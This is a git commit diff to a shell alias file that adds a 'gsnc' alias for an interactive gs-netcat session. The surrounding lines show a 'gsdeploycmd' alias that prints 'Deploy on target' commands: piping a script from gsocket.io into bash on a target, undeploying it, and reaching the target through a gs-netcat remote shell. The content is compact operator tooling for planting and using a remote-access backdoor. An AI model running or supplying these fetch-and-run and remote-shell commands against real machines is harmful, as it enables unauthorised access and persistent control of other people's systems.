added gsocket net aliases
This commit is contained in:
@@ -17,5 +17,6 @@ alias websrv='python3 -m http.server'
|
|||||||
|
|
||||||
# gsocket-related aliases
|
# gsocket-related aliases
|
||||||
|
|
||||||
|
alias gsnc='gs-netcat -i -s'
|
||||||
defalias gssec 's="$(echo "${GS_SEED:?}$1"|sha512sum|base64|tr -d -c a-z0-9)";echo ${s:0:22};unset s'
|
defalias gssec 's="$(echo "${GS_SEED:?}$1"|sha512sum|base64|tr -d -c a-z0-9)";echo ${s:0:22};unset s'
|
||||||
defalias gsdeploycmd 'printf "Deploy on target:\ncurl -fsSL https://gsocket.io/y | X=%s bash\nUndeploy from target:\ncurl -fsSL https://gsocket.io/y | GS_UNDO=1 bash\nAccess:\ngs-netcat -i -s %s\n" $1 $1'
|
defalias gsdeploycmd 'printf "Deploy on target:\ncurl -fsSL https://gsocket.io/y | X=%s bash\nUndeploy from target:\ncurl -fsSL https://gsocket.io/y | GS_UNDO=1 bash\nAccess:\ngs-netcat -i -s %s\n" $1 $1'
|
||||||
|
|||||||
Reference in New Issue
Block a user